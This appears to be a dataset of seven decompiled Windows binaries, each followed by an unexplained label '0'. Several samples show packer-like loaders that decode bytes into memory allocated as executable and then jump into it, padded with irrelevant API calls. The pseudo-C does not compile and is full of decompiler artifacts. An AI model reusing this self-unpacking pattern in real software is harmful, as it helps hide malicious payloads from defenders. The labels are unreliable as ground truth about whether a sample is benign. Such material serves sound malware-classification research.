Example #1
0
// address: 0x401054
void _start(__size32 param1) {
    int edx; 		// r26

    GetModuleHandleA();
    GetCommandLineA();
    GetModuleHandleA();
    proc1(0x15000);
    edx = *(param1 + 176);
    if (edx - 1 == 0) {
        *(__size32*)(param1 + 184) = *(param1 + 184) + ADDFLAGS32(176, 8, 184) + 10;
    }
    *(__size32*)(param1 + 176) = edx - 1;
    return;
}
Example #2
0
// address: 0x40104a
void _start() {
    int edx; 		// r26
    __size32 local0; 		// m[esp]

    GetModuleHandleA();
    GetCommandLineA();
    GetModuleHandleA();
    proc1(0x15000);
    edx = *(local0 + 176);
    if (edx - 1 == 0) {
        *(__size32*)(local0 + 184) = *(local0 + 184) + ADDFLAGS32(176, 8, 184) + 10;
    }
    *(__size32*)(local0 + 176) = edx - 1;
    return;
}
Example #3
0
// address: 0x401066
void _start(__size32 param1) {
    __size32 eax; 		// r24
    int edx; 		// r26

    GetModuleHandleA();
    GetCommandLineA();
    eax = GetModuleHandleA();
    proc1(eax);
    edx = *(param1 + 168);
    if (edx - 1 == 0) {
        *(__size32*)(param1 + 184) = *(param1 + 184) + ADDFLAGS32(168, 16, 184) + 10;
    }
    *(__size32*)(param1 + 168) = edx - 1;
    return;
}
Example #4
0
// address: 0x40d528
void _start(__size32 param1, __size32 param2) {
    __size32 eax; 		// r24
    __size32 ebx; 		// r27
    __size32 ecx; 		// r25
    __size32 edi; 		// r31
    __size32 edx; 		// r26
    int edx_1; 		// r26{235}
    __size32 *esi; 		// r30
    __size32 *esi_1; 		// r30{247}
    int esp; 		// r28

    eax = *0;
    *(__size32*)0 = (esp - 20);
    ebx = param2 + param1;
    ebx = ebx - eax;
    edx = 0x551f4;
    do {
        edx_1 = edx;
        GetTickCount();
        eax = GetLastError(); /* Warning: also results in ecx */
        esi = 0x41702c;
        do {
            esi_1 = esi;
            *(__size32*)esi_1 = *esi_1 - 999;
            if (999 <= ecx) {
            }
            *(__size32*)esi_1 += 0x1a9a;
            esi = esi_1 + 4;
            ecx = eax - ecx - 0x244549;
            edi = 0x4173e8;
            eax = 3;
        } while (esi_1 + 4 != 0x4173e8);
        edx = edx_1 - 1;
        do {
            edi += edi;
        } while (global10 != *0x41706c);
    } while (edx_1 - 1 != 0);
    GetTickCount();
    eax = GetLastError();
    if ( !ADDFLAGS32(eax, 0x13bca8, eax + 0x13bca8)) {
    }
    return;
}
Example #5
0
// address: 0x1310109b
void _start(__size32 param1, __size32 param2, short param3, short param4, char param5, unsigned char param6) {
    char al; 		// r8
    short ax; 		// r0
    unsigned char dl; 		// r10
    short dx; 		// r2
    __size32 eax; 		// r24
    void *eax_1; 		// r24{29}
    __size32 eax_2; 		// r24{175}
    unsigned char *eax_3; 		// r24{450}
    unsigned char *eax_4; 		// r24{342}
    __size32 ebp; 		// r29
    __size32 ebx; 		// r27
    __size32 ebx_1; 		// r27{231}
    int ebx_2; 		// r27{424}
    int ecx; 		// r25
    unsigned int ecx_2; 		// r25{101}
    int edx; 		// r26
    void *edx_1; 		// r26
    __size32 esi; 		// r30
    int esp; 		// r28
    union { void * x89; unsigned int x90; } local10; 		// m[esp - 820]
    __size32 local11; 		// m[esp - 816]
    __size32 *local12; 		// m[esp - 812]
    __size8 *local14; 		// m[esp - 804]
    __size32 local15; 		// m[esp - 28]
    int local16; 		// m[esp - 0x2388]
    unsigned int local17; 		// m[esp - 828]
    void *local18; 		// m[esp - 0x2390]
    union { void * x143; int x144; } local19; 		// m[esp - 36]
    int local20; 		// m[esp - 804]
    void *local21; 		// m[esp - 808]
    int local22; 		// m[esp - 812]
    unsigned char *local23; 		// m[esp - 12]
    __size32 local24; 		// m[esp - 0x2384]
    void *local25; 		// m[esp - 612]
    unsigned int local26; 		// m[esp - 8]
    int local27; 		// m[esp - 24]
    unsigned int local71; 		// m[esp - 8]{602}
    unsigned char *local74; 		// eax_4{570}
    union { void * x145; unsigned int x146; } local75; 		// local14{608}
    union { void * x147; unsigned int x148; } local76; 		// local12{610}
    unsigned char *local77; 		// eax_3{585}
    union { int x97; void * x98; } local78; 		// edx{587}
    unsigned int local79; 		// local26{618}
    __size32 *local9; 		// m[esp - 824]

    AddAccessDeniedAce();
    eax_1 = SafeArrayGetUBound();
    BuildExplicitAccessWithNameA();
    BaseInitAppcompatCacheSupport();
    eax = *(eax_1 - 0x6cf5e057);
    ax = proc1(&eax, esp - 572, 4, &param2, 0, &24, param3, param4, param5, param6); /* Warning: also results in dx, al */
    SetErrorMode();
    BaseInitAppcompatCacheSupport();
    ecx_2 = *(eax_1 - 0x6cf5e053);
    ax = proc1(&ecx_2, (esp - 604), 4, &param2, 4, &24, ax, dx, al, (unsigned char) esp - 604); /* Warning: also results in dx, al, dl */
    ecx = *(eax_1 - 0x6cf5e04f);
    BaseDumpAppcompatCache();
    ax = proc1(&ecx, esp - 28, 4, &param2, 8, &24, ax, dx, al, dl); /* Warning: also results in dx, al, dl */
    eax_2 = GetModuleHandleA();
    AdjustTokenGroups();
    ControlTraceA();
    BuildTrusteeWithObjectsAndNameA();
    ebx_1 = *(eax_1 - 0x6cf5e04b);
    ax = proc1(&ebx_1, esp - 40, 4, &param2, 12, &24, ax, dx, al, dl); /* Warning: also results in dx, al */
    local15 = ebx_1 + eax_2;
    ebx = *(eax_1 - 0x6cf5e047);
    local16 = ebx;
    local9 = esp - 0x2388;
    ax = proc1(&ebx, (esp - 0x2398), 4, &param2, 16, &24, ax, dx, al, (unsigned char) eax_1 - 0x6cf5e047); /* Warning: also results in dx, al */
    local18 = 20;
    local19 = eax_1 - 0x6cf5e043;
    dl = (unsigned char) ecx;
    local20 = 64;
    local21 = 0x3000;
    esi = ecx * 8 + ecx_2 + 12;
    local22 = esi + eax;
    local11 = 0;
    eax_4 = VirtualAlloc(0, esi + eax, 0x3000, 64); /* Warning: also results in edx */
    local74 = eax_4;
    local75 = local20;
    local76 = local22;
    ecx = ebx_1 + eax_2 + ecx * 8 + 12;
    local23 = ecx;
    local24 = ecx * 8 + 12;
    local25 = ecx * 8 + 12;
    local26 = 0;
    local27 = 0;
    for(;;) {
        eax_4 = local74;
        local71 = local26;
        local14 = local75;
        local12 = local76;
        local77 = eax_4;
        local78 = edx;
        local79 = local71;
        if (local25 != local16) {
            goto L0;
        }
        local26 = local71 + 1;
        local79 = local26;
        if (local26 == ecx) {
            ebx = eax_4 - ecx * 8 - 12;
            esi = proc1(eax_4, ebx, ecx_2, &param1, ecx * 8 + 12, &24, ax, dx, al, dl); /* Warning: also results in ax, dx, al, dl, edx */
            (*eax_4 + 0xf50)(local18, local16, local24, pc, eax_4 + ecx_2, eax_4, eax, ecx_2, esp - 564, esp, (esp + 4), (esp + 4), 0x9c000, 0, 0xc000000, 0x10c0, 0x90000000, 272, 0xb200000, 0, 392, 0, 0, 0x4400, 0x80000000, 0x78000000, 0, 0, 0xbc0, (esp + 4), 0x10000, 0xe00000, 0, 0x800, 0, 0x28c0000, 0x900, 0x2800000, 0x4a00000, 0x2600, 0, eax_4 + 0xf50, eax_4 + 0xf50, local25, eax_4, ecx_2, eax_2 + 0x1000, eax_1 - 0x6cf5e057, eax, param1, 24, 67, 28, -75, -19, ecx * 8 + 12, esp, local19, eax_2, local15, local27, ecx, param2, local23, local71 + 1, ebp, ax, dx, al, dl, eax_4 + ecx_2, eax_4, edx, eax, esp - 4, esi, eax_4 + 0xf50, ADDFLAGS32(eax_4, ecx_2, eax_4 + ecx_2), ADDFLAGS32(eax_4, ecx_2, eax_4 + ecx_2), ADDFLAGS32(eax_4, ecx_2, eax_4 + ecx_2));
            return;
        }
        ecx = *local19;
        ebx = esp - local18 - 28;
        ax = proc1(&ecx, ebx, 4, &param2, local18, &24, ax, dx, al, (unsigned char) esp - 28); /* Warning: also results in dx, al */
        local15 = ecx + eax_2;
        local18 += 4;
        local19 += 4;
        ebx_2 = *local19;
        local16 = ebx_2;
        local14 = esp - 564;
        local21 = local18;
        local12 = esp - 16;
        local11 = 4;
        ebx = esp - local18 - 0x2388;
        local10 = ebx;
        local9 = esp - 0x2388;
        eax_3 = proc1(&ebx_2, ebx, 4, &param2, local18, &24, ax, dx, al, (unsigned char) esp - 0x2388); /* Warning: also results in ax, dx, al */
        local77 = eax_3;
        edx_1 = local18 + 4;
        local18 += 4;
        local19 += 4;
        local25 = 0;
        local23 = ecx + eax_2;
        local78 = edx_1;
L0:
        eax_3 = local77;
        edx = local78;
        local26 = local79;
        ebx = eax_4 + local27;
        dl = *local23;
        edx = edx >> 8 & 0xffffff | (dl);
        *(unsigned char*)ebx = dl;
        local23++;
        local27++;
        local25++;
        local24++;
        local74 = eax_3;
        local75 = local14;
        local76 = local12;
    }
}
Example #6
0
// address: 0x40bc18
void proc1(int param1) {
    int bl; 		// r11
    __size32 *eax; 		// r24
    unsigned int ebp; 		// r29
    unsigned int ebp_1; 		// r29{139}
    int ecx; 		// r25
    __size32 *edi; 		// r31
    int edx; 		// r26
    unsigned int edx_1; 		// r26{151}
    __size32 *esi; 		// r30
    int esp; 		// r28
    union { __size32 * x111; int x112; } esp_1; 		// r28{26}
    union { int x1; unsigned int * x2; } esp_2; 		// r28{138}
    union { int x1; unsigned int * x2; } esp_3; 		// r28{101}
    void *esp_4; 		// r28{126}
    union { int x1; unsigned int * x2; } esp_5; 		// r28{69}
    __size32 local0; 		// m[esp]
    __size32 local1; 		// m[esp - 8]
    __size32 local10; 		// m[esp - 12]{5}
    __size32 local11; 		// m[esp - 12]{169}
    __size32 local12; 		// m[esp - 12]{163}
    __size32 local13; 		// m[esp - 16]{7}
    __size32 local14; 		// m[esp - 16]{170}
    __size32 local15; 		// m[esp - 16]{164}
    unsigned int local16; 		// m[esp - 20]{10}
    unsigned int local17; 		// m[esp - 20]{171}
    unsigned int local18; 		// m[esp - 20]{165}
    __size32 local19; 		// m[esp]{18}
    __size32 local2; 		// m[esp - 12]
    __size32 local20; 		// m[esp]{172}
    __size32 local21; 		// m[esp]{166}
    int local22; 		// m[esp]{126}
    union { int x1; unsigned int * x2; } local23; 		// esp_2{138}
    __size32 local24; 		// local9{162}
    __size32 local25; 		// local12{163}
    __size32 local26; 		// local15{164}
    unsigned int local27; 		// local18{165}
    __size32 local28; 		// local21{166}
    int local29; 		// param1{173}
    __size32 local3; 		// m[esp - 16]
    union { int x1; unsigned int * x2; } local30; 		// esp_5{152}
    __size32 *local31; 		// local6{167}
    __size32 local32; 		// local8{168}
    __size32 local33; 		// local11{169}
    __size32 local34; 		// local14{170}
    unsigned int local35; 		// local17{171}
    __size32 local36; 		// local20{172}
    int local37; 		// bl{174}
    unsigned int local4; 		// m[esp - 20]
    DWORD local5; 		// m[esp - 4]
    __size32 *local6; 		// m[esp - 4]
    __size32 local7; 		// m[esp - 8]{3}
    __size32 local8; 		// m[esp - 8]{168}
    __size32 local9; 		// m[esp - 8]{162}

    local7 = 0x3000;
    local10 = 0x147ae;
    local13 = 0;
    eax = VirtualAlloc(0, 0x147ae, 0x3000, 64);
    local24 = local7;
    local25 = local10;
    local26 = local13;
    local27 = local16;
    local29 = param1;
    local19 = local0;
    ecx = 483;
    esp_1 = esp - 4;
    local6 = eax;
    esi = local0 + 168;
    edi = eax;
    edx = 0x5120baf9 >> 8 & 0xffffff | (eax + param1);
    ebp = 0;
    local23 = esp_1;
    local28 = local19;
    do {
        esp_2 = local23;
        ebp_1 = ebp;
        local9 = local24;
        local12 = local25;
        local15 = local26;
        local18 = local27;
        local21 = local28;
        param1 = local29;
        *(int*)(esp_2 - 4) = edx;
        *(union { void * x117; int x118; }*)(esp_2 - 8) = ecx;
        ecx = *(esp_2 - 4);
        edx = *esi;
        *(__size32*)edi = ecx + (unsigned char) ecx + edx;
        ecx = *(esp_2 - 8);
        edx = *(esp_2 - 4);
        esp_5 = esp_2;
        esi++;
        edi++;
        ebp = ebp_1 * 0x3f626 + 1;
        edx = edx / 256;
        tmp1 = 3 - ebp_1 * 0x3f626;
        local30 = esp_5;
        local31 = local6;
        local31 = local6;
        local32 = local9;
        local32 = local9;
        local33 = local12;
        local33 = local12;
        local34 = local15;
        local34 = local15;
        local35 = local18;
        local35 = local18;
        local36 = local21;
        local36 = local21;
        local37 = param1;
        local37 = param1;
        if (4 == ebp_1 * 0x3f626 + 1) {
            *(__size32*)(esp_2 - 4) = 0x5120baf9;
            edx = *(esp_2 - 4);
            esp_3 = esp_2;
            ebp = 0;
            local30 = esp_3;
        }
L3:
        edx_1 = edx;
        esp_5 = local30;
        local6 = local31;
        local8 = local32;
        local11 = local33;
        local14 = local34;
        local17 = local35;
        local20 = local36;
        bl = local37;
        edx = edx_1 >> 8 & 0xffffff | (tmp1 + param1);
        ecx = ecx - 1;
        local23 = esp_5;
        local24 = local8;
        local25 = local11;
        local26 = local14;
        local27 = local17;
        local28 = local20;
        local29 = bl;
    } while (ecx - 1 != 0);
    eax = *esp_5;
    (*eax)(local17, local14, local11, local8, local6, (unsigned char) ecx - 1, tmp1 + param1, bl, eax, ecx - 1, edx_1 >> 8 & 0xffffff | (tmp1 + param1), ebp, esi, edi, ADDFLAGS32(esp_5, 4, esp_5 + 4), ADDFLAGS32(esp_5, 4, esp_5 + 4), ADDFLAGS32(esp_5, 4, esp_5 + 4));
    local30 = esp_4;
    local31 = local5;
    local32 = local1;
    local33 = local2;
    local34 = local3;
    local35 = local4;
    local36 = local22;
    local37 = bl;
    tmp1 = 0;
    if (eax != eax) {
        goto L3;
    }
    return;
}
Example #7
0
// address: 0x1310e09b
int main(int argc, char *argv[], char *envp[]) {
    __size8 al; 		// r8
    __size16 ax; 		// r0
    char bl; 		// r11
    __size8 cl; 		// r9
    __size16 cx; 		// r1
    unsigned char dl; 		// r10
    __size16 dx; 		// r2
    unsigned char *eax; 		// r24
    void *eax_1; 		// r24{45}
    __size32 eax_2; 		// r24{185}
    __size32 eax_3; 		// r24{486}
    __size32 ebp; 		// r29
    int ebx; 		// r27
    char *ebx_1; 		// r27
    int ebx_2; 		// r27{84}
    __size32 ecx_1; 		// r25{18}
    unsigned int edi; 		// r31
    char *edi_1; 		// r31
    unsigned int edi_2; 		// r31{116}
    unsigned int edx; 		// r26
    unsigned char *esi; 		// r30
    int esp; 		// r28
    void *esp_1; 		// r28{67}
    void *esp_2; 		// r28{309}
    void *esp_3; 		// r28{541}
    void *esp_4; 		// r28{559}
    __size32 local0; 		// m[esp - 16]
    unsigned int local1; 		// m[esp - 8]
    __size8 local10; 		// m[esp - 560]
    __size8 local11; 		// m[esp - 562]
    __size8 local12; 		// m[esp - 563]
    __size8 local13; 		// m[esp - 564]
    int local14; 		// m[esp - 572]
    unsigned int local15; 		// m[esp - 580]
    unsigned char *local16; 		// m[esp - 584]
    void *local17; 		// m[esp - 588]
    __size32 local18; 		// m[esp - 596]
    unsigned int local19; 		// m[esp - 600]
    unsigned char *local2; 		// m[esp - 12]
    unsigned char *local20; 		// m[esp - 608]
    void *local21; 		// m[esp - 612]
    __size32 local22; 		// m[esp - 780]
    __size32 local23; 		// m[esp - 784]
    int local24; 		// m[esp - 788]
    __size32 local25; 		// m[esp - 792]
    unsigned int local26; 		// m[esp - 796]
    unsigned int local27; 		// m[esp - 800]
    unsigned int local28; 		// m[esp - 804]
    union { void * x151; int x152; } local29; 		// m[esp - 576]
    unsigned int local3; 		// m[esp - 20]
    unsigned int local30; 		// m[esp - 776]
    int local35; 		// m[esp - 584]
    int local4; 		// m[esp - 24]
    char *local5; 		// m[esp - 28]
    unsigned int local58; 		// m[esp - 8]{573}
    __size32 local6; 		// m[esp - 32]
    void *local63; 		// esp_3{541}
    unsigned int local64; 		// local1{603}
    union { unsigned char * x149; int x150; } local65; 		// local16{607}
    union { int x143; __size32 * x144; } local7; 		// m[esp - 36]
    void *local8; 		// m[esp - 40]
    unsigned char *local9; 		// m[esp - 44]

    ecx_1 = SetErrorMode();
    WmiReceiveNotificationsA();
    GetStartupInfoA();
    eax_1 = SafeArrayGetUBound();
    local29 = eax_1 - 0x2fe67;
    eax = WmiSetSingleInstanceW(); /* Warning: also results in edx, esp_1 */
    local63 = esp_1;
    if ( !(edx == 0x3ec0000 || eax - 0x7ffbfe67 != eax_1 - 0x2fe67)) {
        local13 = -15;
        local12 = 28;
        local10 = 117;
        local29 = eax_1 - 0x6cf61957;
        ebx_2 = *(eax_1 - 0x6cf61957);
        local14 = ebx_2;
        bl = proc1(&ebx_2, esp - 572, 4, &local0, 0, &-15, bl, ebx_2);
        local8 = esp;
        local11 = -26;
        edi_2 = *(eax_1 - 0x6cf61953);
        local19 = edi_2;
        bl = proc1(&edi_2, (esp - 604), 4, &local0, 4, &-15, bl, esp - 600);
        edi = *(eax_1 - 0x6cf6194f);
        local3 = edi;
        bl = proc1(&edi, esp - 28, 4, &local0, 8, &-15, bl, esp - 28);
        local30 = 0;
        eax_2 = GetModuleHandleA();
        local6 = eax_2;
        local18 = eax_2 + 0x1000;
        eax = *(eax_1 - 0x6cf6194b);
        bl = proc1(&eax, esp - 40, 4, &local0, 12, &-15, bl, esp - 28); /* Warning: also results in ebx */
        local5 = eax + eax_2;
        esi = *(eax_1 - 0x6cf61947);
        local16 = esi;
        local27 = esp - 584;
        ax = proc1(&esi, esp - 600, 4, &local0, 16, &-15, bl, ebx); /* Warning: also results in cx, dx, al, cl, bl */
        local17 = 20;
        local7 = eax_1 - 0x6cf61943;
        local9 = edi * 8 + 12;
        local22 = 64;
        local23 = 0x3000;
        ebx = edi * 8 + edi_2 + 12;
        local24 = ebx + ebx_2;
        local25 = 0;
        eax = VirtualAlloc(0, ebx + ebx_2, 0x3000, 64); /* Warning: also results in esp_2 */
        local63 = esp_2;
        local20 = eax;
        edi_1 = eax + eax_2 + edi * 8 + 12;
        local2 = edi_1;
        local15 = edi * 8 + 12;
        local21 = edi * 8 + 12;
        local1 = 0;
        local4 = 0;
    }
    for(;;) {
        esp_3 = local63;
        local58 = local1;
        local64 = local58;
        local65 = local16;
        if (local21 != local16) {
            goto L0;
        }
        local1 = local58 + 1;
        local64 = local1;
        if (local1 == local3) {
            *(union { void * x171; int x172; }*)(esp_3 - 4) = esp - 564;
            *(unsigned char **)(esp_3 - 8) = local9;
            *(union { void * x173; int x174; }*)(esp_3 - 12) = (esp - 568);
            *(unsigned int*)(esp_3 - 16) = local19;
            ecx = local20 - local9;
            *(int*)(esp_3 - 20) = ecx;
            *(unsigned char **)(esp_3 - 24) = local20;
            eax_3 = proc1(*(esp_3 - 24), *(esp_3 - 20), *(esp_3 - 16), *(esp_3 - 12), *(esp_3 - 8), *(esp_3 - 4), bl, esp - 568); /* Warning: also results in ax, cx, dx, al, cl, bl, edx, edi */
            *(void **)(esp_3 - 4) = local8;
            *(union { void * x175; int x176; }*)(esp_3 - 8) = esp - 564;
            *(unsigned int*)(esp_3 - 12) = local19;
            *(int*)(esp_3 - 16) = local14;
            *(unsigned char **)(esp_3 - 20) = local20;
            esi = local20 + local19;
            *(void **)(esp_3 - 24) = esi;
            (*local20 + 0xf50)(local28, local27, local26, local25, local24, local23, local22, local30, 0x15000, 0, 0x5d000000, 0xe6000, 0x370000, 0x328000, 0, 0x6c000, 0x12c00, (esp - 660), 0, ecx_1, 0x5c000000, (esp - 544), eax, local20 + 0xf50, local20 + 0xf50, local21, local20, local19, local18, local17, local16, local15, local29, local14, local13, local12, local11, -38, local10, local9, local8, local7, local6, local5, local4, local3, local0, local2, local58 + 1, ebp, argc, argv, envp, ax, cx, dx, al, cl, (unsigned char) local58 + 1, bl, eax_3, local14, edx, local20, esp - 4, esi, edi, ADDFLAGS32(local20, local19, esi), ADDFLAGS32(local20, local19, esi), ADDFLAGS32(local20, local19, esi));
            return eax;
        }
        edx = *local7;
        *(union { void * x159; int x160; }*)(esp_3 - 4) = esp - 564;
        *(void **)(esp_3 - 8) = local17;
        *(union { void * x161; int x162; }*)(esp_3 - 12) = esp - 16;
        *(__size32*)(esp_3 - 16) = 4;
        esi = esp - local17 - 28;
        *(union { unsigned char * x147; int x148; }*)(esp_3 - 20) = esi;
        *(union { void * x163; int x164; }*)(esp_3 - 24) = esp - 28;
        bl = proc1(*(esp_3 - 24), *(esp_3 - 20), *(esp_3 - 16), *(esp_3 - 12), *(esp_3 - 8), *(esp_3 - 4), bl, esp - 28);
        ebx_1 = edx + local6;
        local5 = ebx_1;
        local17 += 4;
        local7 += 4;
        ebx = *local7;
        local35 = ebx;
        *(union { void * x165; int x166; }*)(esp_3 - 4) = esp - 564;
        *(void **)(esp_3 - 8) = local17;
        *(union { void * x167; int x168; }*)(esp_3 - 12) = esp - 16;
        *(__size32*)(esp_3 - 16) = 4;
        edi = esp - local17 - 584;
        *(int*)(esp_3 - 20) = edi;
        *(union { void * x169; int x170; }*)(esp_3 - 24) = esp - 584;
        ax = proc1(*(esp_3 - 24), *(esp_3 - 20), *(esp_3 - 16), *(esp_3 - 12), *(esp_3 - 8), *(esp_3 - 4), bl, ebx); /* Warning: also results in cx, dx, al, cl, bl */
        local65 = local35;
        local17 += 4;
        local7 += 4;
        local21 = 0;
        local2 = ebx_1;
L0:
        esp_4 = esp_3;
        local1 = local64;
        local16 = local65;
        ebx_1 = local20 + local4;
        dl = *local2;
        *(unsigned char*)ebx_1 = dl;
        local2++;
        local4++;
        local21++;
        local15++;
        local63 = esp_4;
        local63 = esp_4;
    }
}